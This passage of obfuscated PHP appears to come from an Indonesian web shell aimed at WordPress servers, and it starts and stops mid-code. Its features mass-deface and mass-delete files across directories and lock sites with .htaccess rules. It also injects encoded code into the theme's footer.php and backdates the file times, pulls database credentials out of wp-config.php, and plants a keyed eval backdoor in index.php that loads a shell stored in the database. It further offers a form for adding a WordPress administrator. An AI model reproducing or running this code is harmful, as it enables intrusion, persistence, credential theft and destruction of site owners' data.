b64dd(fgt(decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3U3QzJqcjJ4')))); @file_put_contents($file_cgi, $data); @file_put_contents($cgiht, b64dd($isi_htcgi)); $GNJ[12]($file_cgi, 493); $GNJ[12]($cgiht, 420); echo wb('PGJyPjxjZW50ZXI+RG9uZSAuLi4gPGEgaHJlZj0nLm1hcmkvbWF3ZXMuWCcgdGFyZ2V0PSdfYmxhbmsnPktsaWsgSGVyZTwvYT4='); } } elseif (isset($_GET[hex(wb('bWFzc190b29s'))])) { $dir = dapatCWD(); echo wb('PGNlbnRlcj4='); if (isset($_POST[wb('ZF9kaXI=')])) { $dirr = $_POST[wb('ZF9kaXI=')]; } if (isset($_POST[wb('c2NyaXB0')])) { $index = $_POST[wb('c2NyaXB0')]; $index = $GNJ[14](wb('Ig=='), wb('Jw=='), $index); $index = stripslashes($index); } function edit_file($file, $index) { global $GNJ; if ($GNJ[31]($file)) { clear_fill($file, $index); echo wb('PFNwYW4gc3R5bGU9J2NvbG9yOiNmZmZmY2M7Jz48c3Ryb25nPiBbK10gTnlhYnVuIDEwMCUgU3VjY2Vzc2Z1bGwgPC9zdHJvbmc+PC9zcGFuPjxicj48L2NlbnRlcj4='); } else { echo wb('PFNwYW4gc3R5bGU9J2NvbG9yOnJlZDsnPjxzdHJvbmc+IFstXSBUZXJueWF0YSBUaWRhayBCb2xlaCBNZW55YWJ1biBEaXNpbmkgOiggPC9zdHJvbmc+PC9zcGFuPjxicj48L2NlbnRlcj4='); } } function hapus_massal($dir, $namafile) { global $GNJ; if ($GNJ[31]($dir)) { $dira = myscandir($dir); if (is_array($dira) || is_object($dira)) { foreach ($dira as $dirb) { $dirc = "{$dir}/{$dirb}"; $lokasi = $dirc . wb('Lw==') . $namafile; if ($dirb === wb('Lg==')) { if ($GNJ[26]("{$dir}/{$namafile}")) { @$GNJ[10]("{$dir}/{$namafile}"); } } elseif ($dirb === wb('Li4=')) { if ($GNJ[26]('' . dirname($dir) . "/{$namafile}")) { @$GNJ[10]('' . dirname($dir) . "/{$namafile}"); } } else { if ($GNJ[8]($dirc)) { if ($GNJ[31]($dirc)) { if ($GNJ[26]($lokasi)) { echo "DELETED {$lokasi}<br>"; @$GNJ[10]($lokasi); $idx = hapus_massal($dirc, $namafile); } } } } } } } } function clear_fill($file, $index) { global $GNJ; if ($GNJ[26]($file)) { $handle = $GNJ[17]($file, wb('dw==')); $GNJ[18]($handle, ''); $GNJ[18]($handle, $index); $GNJ[19]($handle); } } function gass_all() { global $GNJ; global $index; $dirrall = $_POST[wb('ZF9kaXI=')]; foreach (ListFiles($dirrall) as $key => $file) { $file = $GNJ[14](wb('Ly8='), wb('Lw=='), $file); echo "<center><strong>{$file}</strong> ===>"; edit_file($file, $index); flush(); } $key = $key + 1; echo "<center><br><h3>{$key} Kali Anda Telah Ngecrot  Disini  </h3></center><br>"; } function sabun_massal($dir, $namafile, $isi_script) { global $GNJ; if ($GNJ[31]($dir)) { $dira = myscandir($dir); if (is_array($dira) || is_object($dira)) { foreach ($dira as $dirb) { $dirc = "{$dir}/{$dirb}"; $lokasi = $dirc . wb('Lw==') . $namafile; if ($dirb === wb('Lg==')) { file_put_contents($lokasi, $isi_script); } elseif ($dirb === wb('Li4=')) { file_put_contents($lokasi, $isi_script); } else { if ($GNJ[8]($dirc)) { if ($GNJ[31]($dirc)) { echo "[<font color=red>DONE</font>] {$lokasi}<br>"; file_put_contents($lokasi, $isi_script); $idx = sabun_massal($dirc, $namafile, $isi_script); } } } } } } } $lockhtaccess = implode(wb('fA=='), $enx1); $src1 = b64dd(wb('VDNCMGFXOXVjeUF0U1c1a1pYaGxjd284Um1sc1pYTk5ZWFJqYUNBaUxpcGNMaWh3ZVh4emFIUnRiSHh3YUhSdGJIeHdhSEI4VUVoUWZGQm9jSHhRU0hCOGNFaHdmSEJJVUh4d2FGQjhVR2hRZkhCb2NEVjhjR2h3Tnlra0lqNEtUM0prWlhJZ1FXeHNiM2NzUkdWdWVRcEVaVzU1SUdaeWIyMGdZV3hzQ2p3dlJtbHNaWE5OWVhSamFENEtQRVpwYkdWelRXRjBZMmdnSjE0bw==')); $src1 .= $lockhtaccess; $src1 .= b64dd(wb('S1NRblBncFBjbVJsY2lCaGJHeHZkeXhrWlc1NUNrRnNiRzkzSUdaeWIyMGdZV3hzQ2p3dlJtbHNaWE5OWVhSamFENEtJeUJDUlVkSlRnbzhTV1pOYjJSMWJHVWdiVzlrWDNKbGQzSnBkR1V1WXo0S1VtVjNjbWwwWlVWdVoybHVaU0JQYmdwU1pYZHlhWFJsUW1GelpTQXZDbEpsZDNKcGRHVlNkV3hsSUY1cGJtUmxlQzV3YUhBa0lDMGdXMHhkQ2xKbGQzSnBkR1ZEYjI1a0lDVjdVa1ZSVlVWVFZGOUdTVXhGVGtGTlJYMGdJUzFtQ2xKbGQzSnBkR1ZEYjI1a0lDVjdVa1ZSVlVWVFZGOUdTVXhGVGtGTlJYMGdJUzFrQ2xKbGQzSnBkR1ZTZFd4bElDNGdhVzVrWlhndWNHaHdJRnRNWFFvOEwwbG1UVzlrZFd4bFBnb2pJRVZPUkE9PQ==')); if (isset($_POST[wb('bWFzcw==')]) and $_POST[wb('bWFzcw==')] == wb('aGFwdXNtYXNzYWw=')) { MassmenU($d); hapus_massal($_POST[wb('ZF9kaXI=')], $_POST[wb('ZF9maWxl')]); } elseif (isset($_POST[wb('bWFzcw==')]) and $_POST[wb('bWFzcw==')] == wb('Z2FudGltYXNzYWx3YWt0dWZpbGVkaXI=')) { MassmenU($d); ganti_massal($_POST[wb('ZF9kaXI=')]); } elseif (isset($_POST[wb('bWFzcw==')]) and $_POST[wb('bWFzcw==')] == wb('bWFzc2RlZmFjZWFsbGZpbGVz')) { gass_all(); } elseif (isset($_POST[wb('bWFzcw==')]) and $_POST[wb('bWFzcw==')] == wb('bWFzc2RlZmFjZWFsbGRpcg==')) { MassmenU($d); echo wb('PGRpdiBzdHlsZT0nbWFyZ2luOiA1cHggYXV0bzsgcGFkZGluZzogNXB4Jz4='); sabun_massal($_POST[wb('ZF9kaXI=')], $_POST[wb('ZF9maWxl')], $_POST[wb('c2NyaXB0')]); echo wb('PC9kaXY+'); } else { MassmenU($d); echo "<script> var $ = jQuery.noConflict(); $(document).ready(function() {  $.viewMap = {  '0' : $([]),  'massdefacealldir' : $('#view1, #view2, #view3'),  'massdefaceallfiles' : $('#view1, #view3'),  'hapusmassal' : $('#view1, #view2'),  'gantimassalwaktufiledir' : $('#view1')   };		  $('#mass').change(function() {  $.each($.viewMap, function() { this.hide(); });  $.viewMap[$(this).val()].show();   }); }); </script><form action='' method='post'><fieldset><label>Select Type: </label><select name='mass' id='mass' class='form-control' style='width: 450px;' height='10'><option value='gantimassalwaktufiledir' selected>Mass Ganti Waktu Files dan Directory</option><option value='massdefacealldir'>Mass Deface All Dir</option><option value='massdefaceallfiles'>Mass Deface All Files</option><option value='hapusmassal'>Mass Delete Files</option></select><br><div id='view1'><label>Folder:</label><input type='text' name='d_dir' value='{$dir}' class='form-control' style='width: 450px;' height='10'><br></div><div id='view2' style='display: none;'><label>Filename:</label><input type='text' name='d_file' value='.htaccess' class='form-control' style='width: 450px;' height='10'><br></div><div id='view3' style='display: none;'><label>Index File:</label><textarea class='form-control' name='script' style='width: 450px; height: 300px;'>" . $src1 . wb('PC90ZXh0YXJlYT48YnI+PC9kaXY+PGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wnIHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3RhcnQnIHZhbHVlPSdEbyBpdCEnIHN0eWxlPSd3aWR0aDogNDUwcHg7Jz48L2Zvcm0+PC9jZW50ZXI+PC9maWVsZHNldD4='); } } elseif (isset($_GET[hex(wb('ZXhwbG9pdGVy'))])) { ExploitermenU($d); } elseif (isset($_GET[hex(wb('Zm9vdGVy'))])) { AutomenU($d); echo wb('PGhyPjxicj4='); $direktori = $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]; $targetSitez = (isset($_SERVER[wb('SFRUUFM=')]) && $_SERVER[wb('SFRUUFM=')] === wb('b24=') ? wb('aHR0cHM=') : wb('aHR0cA==')) . "://{$_SERVER[wb('SFRUUF9IT1NU')]}"; if (get_http_response_code($targetSitez) != wb('MjAw')) { echo wb('PGJyPjxicj48Y2VudGVyPlRoZW1lcyBXb3JkcHJlc3M6IDxzdHJvbmc+PGgyPldlYnNpdGUgRXJyb3I8L2gyPjwvc3Ryb25nPjwvY2VudGVyPg=='); } else { $srcz = fgt($targetSitez); preg_match(wb('Ly4qc3R5bGVzaGVldC4qaHJlZj0uKlwvdGhlbWVzXC8oLio/KVwvLipcLmNzcy4qXD4vaQ=='), $srcz, $matchesz); if (isset($matchesz[1])) { $styleHrefz = trim($matchesz[1]); if (isset($styleHrefz)) { echo wb('PGJyPjxicj48Y2VudGVyPlRoZW1lcyBXb3JkcHJlc3M6IDxzdHJvbmc+PGgyPg==') . $styleHrefz . wb('PC9oMj48L3N0cm9uZz48L2NlbnRlcj4='); } else { echo wb('PGJyPjxicj48Y2VudGVyPlRoZW1lcyBXb3JkcHJlc3M6IDxzdHJvbmc+PGgyPldlYnNpdGUgRXJyb3I8L2gyPjwvc3Ryb25nPjwvY2VudGVyPg=='); } echo wb('PGNlbnRlcj4='); $fooxer = $direktori . DIRECTORY_SEPARATOR . wb('d3AtY29udGVudA==') . DIRECTORY_SEPARATOR . wb('dGhlbWVz') . DIRECTORY_SEPARATOR . $styleHrefz . DIRECTORY_SEPARATOR . wb('Zm9vdGVyLnBocA=='); if ($GNJ[26]($fooxer) && $GNJ[31]($fooxer)) { echo wb('PGJyPkZvb3Rlcjog') . $fooxer; $fooxerori = fgt($fooxer); if ($GNJ[30]($fooxerori, wb('cGFuZW4=')) === false) { $searchcar = wb('PC9ib2R5Pg=='); $waktubl = $GNJ[20](wb('WS1tLWQgSDppOnM=')); $replacecar1 = wb('RGNyUkNzSWdGSURoVjVFUnFCQmFDeXBhTmJydEdRSTViY2RONWxUbUNVYnQ0ZHZsLy9GZjY5UW41cXh3MmZSeFJDSFpzckExN0JRRG1RVGRTcEw5Mk9ZTnplQmRHUElONStSamk2SjRoV0pyblVmVElabG0vVEZRRnJ3blNoZXQ5NmVET3BlcTNCM1ZxZFF4WlYwcW1vbExXYlZBYUZxMDhQRmt5STM0alFGTlJoTDhrUjNvSnd3d0VYQlpzZnIrQnc9PQ=='); $replacecar2 = wb('VlU5TlQ0TkFFUDByWTRNQnROdUNTUzhzYkMrYWVEQ3hCKzlrZ0NYZGRHRTM3RkFscHYvZExTVkdiL1BldkkrWmZHK1BGZ0l5RFU1Rkx6L2hHVWwrcUU1R01RODg1NHJiam9sR3RXMFVPTUtCUEk2WmFNM1FJVVhoUFlaZWUwWTl5aUo5bkUwUFR6eW9kQkhtalRxRG8wbkxZbVdOVTZSTW53Rld6dWlSSklmS0VKa3VnOFIrY2RDeXBReFltaWE3bmNjckVXNE9yNGZ5NWYzdEdyYnhhVWIvNWN4SWRxUUNod0duMG1sVnl5aW9zRDVwMVovY09sbmZUb3E1djFOaWZZd1dBNkNENEtxSnYrZlllZjVOdlN4VjIvOWRDK25mRVNHM2crcXBISHliampsY1lDL3liV1dhU2VSM2pJSEZYdmJBbVBnQg=='); $strcar = preg_replace(wb('fi4qXEs=') . preg_quote($searchcar, wb('fg==')) . wb('fnM='), wb('JDE=') . $GNJ[39](b64dd($replacecar1)) . wb('PD9waHAgJHN0YXJ0ZGF5PW5ldyBEYXRlVGltZSgn') . $waktubl . wb('Jyk7ID8+') . $GNJ[39](b64dd($replacecar2)), $fooxerori); echo $strcar; file_put_contents($fooxer, $strcar); @$GNJ[25]($fooxer, $GNJ[33](wb('LQ==') . rand(90, 150) . wb('IGRheXM='), time())); } if (preg_match(wb('L3BhbmVuL2k='), $fooxerori)) { echo wb('PGJyPkZvb3RlciBiZWhhc2lsIGRpIGluamVjdCBwYWRhOiA8YSBocmVmPSc=') . $targetSitez . wb('JyB0YXJnZXQ9J19ibGFuayc+') . $targetSitez . wb('PC9hPjxicj4='); echo wb('PHRleHRhcmVhIHJlYWRvbmx5Pg==') . $GNJ[15]($fooxerori) . wb('PC90ZXh0YXJlYT4='); } else { echo wb('PGJyPkluamVjdGluZyBmYWlsZWQhPGJyPg=='); echo wb('PHRleHRhcmVhIHJlYWRvbmx5Pg==') . $GNJ[15]($fooxerori) . wb('PC90ZXh0YXJlYT4='); } } else { echo wb('PGJyPkZpbGUgbm90IGV4aXN0IG9yIG5vdCB3cml0YWJsZSE8YnI+'); } echo wb('PC9jZW50ZXI+'); } else { echo wb('PGNlbnRlcj48aDI+QnVrYW4gV29yZHByZXNzIE1hc3plZWghPC9oMj48L2NlbnRlcj4='); } } } elseif (isset($_GET[hex(wb('aW5qZWN0YmRzcWw='))])) { AutomenU($d); if (isset($_POST[wb('ZGlyZWt0b3Jp')])) { $direktorinya = $_POST[wb('ZGlyZWt0b3Jp')]; } else { $direktorinya = $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]; } if ($GNJ[22]($direktorinya, -1) == wb('Lw==')) { $direktorinya = $GNJ[22]($direktorinya, 0, -1); } echo wb('PGhyPjxicj4='); echo wb('PGNlbnRlcj48aDIgc3R5bGU9J2NvbG9yOiBncmVlbjsnPkluamVjdCBteVNRTCBTaGVsbDwvaDI+PC9jZW50ZXI+'); if (empty($_POST[wb('ZGJob3N0')])) { $dbhostx = wb('SVNJIC4uLg=='); } if (empty($_POST[wb('ZGJ1c2Vy')])) { $dbuserx = wb('SVNJIC4uLg=='); } if (empty($_POST[wb('ZGJwYXNz')])) { $dbpassx = wb('SVNJIC4uLg=='); } if (empty($_POST[wb('ZGJuYW1l')])) { $dbnamex = wb('SVNJIC4uLg=='); } echo wb('PGJyPjxicj48ZGl2IHN0eWxlPSJ3aWR0aDo3NTBweDttYXJnaW46IGF1dG8iPg=='); echo wb('PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPgogPGxhYmVsIGNsYXNzPSJjb2wtc20tMiBjb2wtZm9ybS1sYWJlbCI+RGlyZWN0b3J5IDwvbGFiZWw+PGRpdiBjbGFzcz0iY29sLXNtLTEwIj48aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCIgdHlwZT0idGV4dCIgbmFtZT0iZGlyZWt0b3JpIiB2YWx1ZT0i') . $direktorinya . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+CiA8aW5wdXQgdHlwZT0ic3VibWl0IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCIgY2xhc3M9ImZvcm0tY29udHJvbCIgdmFsdWU9IkFtYmlsIERhdGFiYXNlIFdQIiBuYW1lPSJjaGVja3dwIiAvPjwvZGl2PgogPC9kaXY+PC9mb3JtPg=='); if (isset($_POST[wb('ZGlyZWt0b3Jp')])) { $kurator = $_POST[wb('ZGlyZWt0b3Jp')]; if ($GNJ[22]($kurator, -1) == wb('Lw==')) { $kurator = $GNJ[22]($kurator, 0, -1); } $lapor8900 = $kurator . DIRECTORY_SEPARATOR . wb('d3AtY29uZmlnLnBocA=='); if ($GNJ[26]($lapor8900)) { $cxz = fgt($lapor8900); preg_match(wb('L2RlZmluZS4qREJfTkFNRS4qJyguKiknLw=='), $cxz, $mxz); $dbnamex = $mxz[1]; preg_match(wb('L2RlZmluZS4qREJfVVNFUi4qJyguKiknLw=='), $cxz, $mxz); $dbuserx = $mxz[1]; preg_match(wb('L2RlZmluZS4qREJfUEFTU1dPUkQuKicoLiopJy8='), $cxz, $mxz); $dbpassx = $mxz[1]; preg_match(wb('L2RlZmluZS4qREJfSE9TVC4qJyguKiknLw=='), $cxz, $mxz); $dbhostx = $mxz[1]; preg_match(wb('L3RhYmxlX3ByZWZpeC4qPS4qJyguKiknLw=='), $cxz, $mxm); } } if (isset($_POST[wb('a2V5')])) { $keyshell = $_POST[wb('a2V5')]; } else { $keyshell = generateRandomString(); } echo wb('PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+IDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgcm93Ij4gPGxhYmVsIGNsYXNzPSJjb2wtc20tMiBjb2wtZm9ybS1sYWJlbCI+REIgSG9zdDwvbGFiZWw+PGRpdiBjbGFzcz0iY29sLXNtLTEwIj4gPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIGNsYXNzPSJjb2wtc20tMiBjb2wtZm9ybS1sYWJlbCJ0eXBlPSJ0ZXh0IiBuYW1lPSJkYmhvc3QiIHZhbHVlPSI=') . $dbhostx . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPiA8bGFiZWwgY2xhc3M9ImNvbC1zbS0yIGNvbC1mb3JtLWxhYmVsIj5EQiBVc2VyIDwvbGFiZWw+PGRpdiBjbGFzcz0iY29sLXNtLTEwIj48aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCIgdHlwZT0idGV4dCIgbmFtZT0iZGJ1c2VyIiB2YWx1ZT0i') . $dbuserx . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPiA8bGFiZWwgY2xhc3M9ImNvbC1zbS0yIGNvbC1mb3JtLWxhYmVsIj5EQiBQYXNzd29yZCA8L2xhYmVsPjxkaXYgY2xhc3M9ImNvbC1zbS0xMCI+PGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHR5cGU9InRleHQiIG5hbWU9ImRicGFzcyIgdmFsdWU9Ig==') . $dbpassx . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPiA8bGFiZWwgY2xhc3M9ImNvbC1zbS0yIGNvbC1mb3JtLWxhYmVsIj5EQiBOYW1lIDwvbGFiZWw+PGRpdiBjbGFzcz0iY29sLXNtLTEwIj48aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCIgdHlwZT0idGV4dCIgbmFtZT0iZGJuYW1lIiB2YWx1ZT0i') . $dbnamex . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPiA8bGFiZWwgY2xhc3M9ImNvbC1zbS0yIGNvbC1mb3JtLWxhYmVsIj5GaWxlIHRvIEluamVjdCA8L2xhYmVsPjxkaXYgY2xhc3M9ImNvbC1zbS0xMCI+PGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHR5cGU9InRleHQiIG5hbWU9ImZpbGV0b2luamVjdCIgdmFsdWU9Ig==') . $kurator . wb('L2luZGV4LnBocCIgc3R5bGU9IndpZHRoOiA0NTBweDsiIGhlaWdodD0iMTAiPjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgcm93Ij4gPGxhYmVsIGNsYXNzPSJjb2wtc20tMiBjb2wtZm9ybS1sYWJlbCI+S2V5IDwvbGFiZWw+PGRpdiBjbGFzcz0iY29sLXNtLTEwIj48aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCIgdHlwZT0idGV4dCIgbmFtZT0ia2V5IiB2YWx1ZT0i') . $keyshell . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+PC9kaXY+PC9kaXY+PGxhYmVsIGNsYXNzPSJjb2wtc20tMiBjb2wtZm9ybS1sYWJlbCI+U2hlbGwgPC9sYWJlbD48ZGl2IGNsYXNzPSJjb2wtc20tMTAiPjx0ZXh0YXJlYSBjbGFzcz0iZm9ybS1jb250cm9sIHJvdW5kZWQtMCIgc3R5bGU9Im1pbi13aWR0aDogOTYlOyBoZWlnaHQ6IDIwMHB4OyIgbmFtZT0ic2gzM2x6Ij4=') . html_entity_decode($GNJ[39](b64dd($default))) . wb('PC90ZXh0YXJlYT48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSJjb2wtbWQtMTIgdGV4dC1jZW50ZXIiPiA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iZm9ybS1jb250cm9sIGJ0biBidG4td2FybmluZyBidG4tc20iIHN0eWxlPSJ3aWR0aDogNDUwcHg7IGhlaWdodDogNDBweDsiIHZhbHVlPSJJbmplY3QgTm93IiBuYW1lPSJpbmplY3Rub3ciLz4gPC9kaXY+PC9mb3JtPg=='); if (isset($_POST[wb('aW5qZWN0bm93')])) { echo wb('PGNlbnRlcj4='); if (isset($_POST[wb('ZGJob3N0')])) { $dbhost = $_POST[wb('ZGJob3N0')]; $dbuser = $_POST[wb('ZGJ1c2Vy')]; $dbpass = $_POST[wb('ZGJwYXNz')]; $dbname = $_POST[wb('ZGJuYW1l')]; $filetoinject = $_POST[wb('ZmlsZXRvaW5qZWN0')]; $key = $GNJ[14](array(wb('Ig=='), wb('Jw==')), '', trim($_POST[wb('a2V5')])); $shellz = b64ed($_POST[wb('c2gzM2x6')]); if ($conn = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname)) { if (@is_file($filetoinject) && @$GNJ[31]($filetoinject)) { @mysqli_query($conn, wb('RFJPUCBUQUJMRSBgbGljZW5zZXNg')); @mysqli_query($conn, wb('Q1JFQVRFIFRBQkxFIGBsaWNlbnNlc2AgKGNvZGUgTE9OR1RFWFQp')); @mysqli_query($conn, wb('SU5TRVJUIElOVE8gYGxpY2Vuc2VzYCBWQUxVRVMoIg==') . $shellz . wb('Iik=')); $code = wb('PD9waHAgaWYoaXNzZXQoJF9HRVRbIngiXSkmJiRfR0VUWyJ4Il09PSI=') . $key . wb('Iil7JGNvbm49bXlzcWxpX2Nvbm5lY3QoIg==') . $GNJ[14](wb('Ig=='), wb('XCI='), $dbhost) . wb('Iiwi') . $GNJ[14](wb('Ig=='), wb('XCI='), $dbuser) . wb('Iiwi') . $GNJ[14](wb('Ig=='), wb('XCI='), $dbpass) . wb('Iiwi') . $GNJ[14](wb('Ig=='), wb('XCI='), $dbname) . wb('Iik7JHE9bXlzcWxpX3F1ZXJ5KCRjb25uLCJTRUxFQ1QgYGNvZGVgIEZST00gbGljZW5zZXMgTElNSVQgMCwxIik7JHI9bXlzcWxpX2ZldGNoX2Fzc29jKCRxKTskZnVuYz0iY3IiLiJlYSIuInRlXyIuImZ1biIuImN0aW9uIjskeD0kZnVuYygiXCRjIiwiZSIuInYiLiJhbCIuIignPz4nLmJhc2UiLiI2NCIuIl9kZWMiLiJvZGUoXCRjKSk7Iik7JHgoJHJbImNvZGUiXSk7ZXhpdDt9Pz4='); @file_put_contents($filetoinject, $code . wb('Cg==') . @fgt($filetoinject)); echo wb('PGJyPlJ1biBXaXRoOiA=') . basename($filetoinject) . wb('P3g9') . $key; } } echo wb('PC9jZW50ZXI+'); } } } elseif (isset($_GET[hex(wb('YWRkdXNlcndw'))])) { AutomenU($d); $direktorinya = $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]; echo wb('PGhyPjxicj4='); echo wb('PGNlbnRlcj48aDIgc3R5bGU9J2NvbG9yOiBncmVlbjsnPkFkZCBBZG1pbiBXb3JkcHJlc3M8L2gyPjwvY2VudGVyPg=='); if (empty($_POST[wb('ZGJob3N0')])) { $dbhostx = wb('SVNJIC4uLg=='); } if (empty($_POST[wb('ZGJ1c2Vy')])) { $dbuserx = wb('SVNJIC4uLg=='); } if (empty($_POST[wb('ZGJwYXNz')])) { $dbpassx = wb('SVNJIC4uLg=='); } if (empty($_POST[wb('ZGJuYW1l')])) { $dbnamex = wb('SVNJIC4uLg=='); } if (empty($_POST[wb('dGFibGVfcHJlZml4')])) { $table_prefixx = wb('SVNJIC4uLg=='); } echo wb('PGJyPjxicj48ZGl2IHN0eWxlPSJ3aWR0aDo3NTBweDttYXJnaW46IGF1dG8iPg=='); echo wb('PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPgogPGxhYmVsIGNsYXNzPSJjb2wtc20tMiBjb2wtZm9ybS1sYWJlbCI+RGlyZWN0b3J5IDwvbGFiZWw+PGRpdiBjbGFzcz0iY29sLXNtLTEwIj48aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCIgdHlwZT0idGV4dCIgbmFtZT0iZGlyZWt0b3JpIiB2YWx1ZT0i') . $direktorinya . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+CiA8aW5wdXQgdHlwZT0ic3VibWl0IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCIgY2xhc3M9ImZvcm0tY29udHJvbCIgdmFsdWU9IkFtYmlsIERhdGFiYXNlIFdQIiBuYW1lPSJjaGVja3dwIiAvPjwvZGl2PgogPC9kaXY+PC9mb3JtPg=='); if (isset($_POST[wb('ZGlyZWt0b3Jp')])) { $kurator = $_POST[wb('ZGlyZWt0b3Jp')]; $lapor8900 = $kurator . DIRECTORY_SEPARATOR . wb('d3AtY29uZmlnLnBocA=='); if ($GNJ[26]($lapor8900)) { $cxz = fgt($lapor8900); preg_match(wb('L2RlZmluZS4qREJfTkFNRS4qJyguKiknLw=='), $cxz, $mxz); $dbnamex = $mxz[1]; preg_match(wb('L2RlZmluZS4qREJfVVNFUi4qJyguKiknLw=='), $cxz, $mxz); $dbuserx = $mxz[1]; preg_match(wb('L2RlZmluZS4qREJfUEFTU1dPUkQuKicoLiopJy8='), $cxz, $mxz); $dbpassx = $mxz[1]; preg_match(wb('L2RlZmluZS4qREJfSE9TVC4qJyguKiknLw=='), $cxz, $mxz); $dbhostx = $mxz[1]; preg_match(wb('L3RhYmxlX3ByZWZpeC4qPS4qJyguKiknLw=='), $cxz, $mxm); $table_prefixx = $mxm[1]; } } echo wb('PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+IDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgcm93Ij4gPGxhYmVsIGNsYXNzPSJjb2wtc20tMiBjb2wtZm9ybS1sYWJlbCI+REIgSG9zdDwvbGFiZWw+PGRpdiBjbGFzcz0iY29sLXNtLTEwIj4gPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIGNsYXNzPSJjb2wtc20tMiBjb2wtZm9ybS1sYWJlbCJ0eXBlPSJ0ZXh0IiBuYW1lPSJkYmhvc3QiIHZhbHVlPSI=') . $dbhostx . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPiA8bGFiZWwgY2xhc3M9ImNvbC1zbS0yIGNvbC1mb3JtLWxhYmVsIj5EQiBVc2VyIDwvbGFiZWw+PGRpdiBjbGFzcz0iY29sLXNtLTEwIj48aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCIgdHlwZT0idGV4dCIgbmFtZT0iZGJ1c2VyIiB2YWx1ZT0i') . $dbuserx . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPiA8bGFiZWwgY2xhc3M9ImNvbC1zbS0yIGNvbC1mb3JtLWxhYmVsIj5EQiBQYXNzd29yZCA8L2xhYmVsPjxkaXYgY2xhc3M9ImNvbC1zbS0xMCI+PGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHR5cGU9InRleHQiIG5hbWU9ImRicGFzcyIgdmFsdWU9Ig==') . $dbpassx . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPiA8bGFiZWwgY2xhc3M9ImNvbC1zbS0yIGNvbC1mb3JtLWxhYmVsIj5EQiBOYW1lIDwvbGFiZWw+PGRpdiBjbGFzcz0iY29sLXNtLTEwIj48aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCIgdHlwZT0idGV4dCIgbmFtZT0iZGJuYW1lIiB2YWx1ZT0i') . $dbnamex . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPiA8bGFiZWwgY2xhc3M9ImNvbC1zbS0yIGNvbC1mb3JtLWxhYmVsIj5EQiBQcmVmaXggPC9sYWJlbD48ZGl2IGNsYXNzPSJjb2wtc20tMTAiPjxpbnB1dCBjbGFzcz0iZm9ybS1jb250cm9sIiB0eXBlPSJ0ZXh0IiBuYW1lPSJ0YWJsZV9wcmVmaXgiIHZhbHVlPSI=') . $table_prefixx . 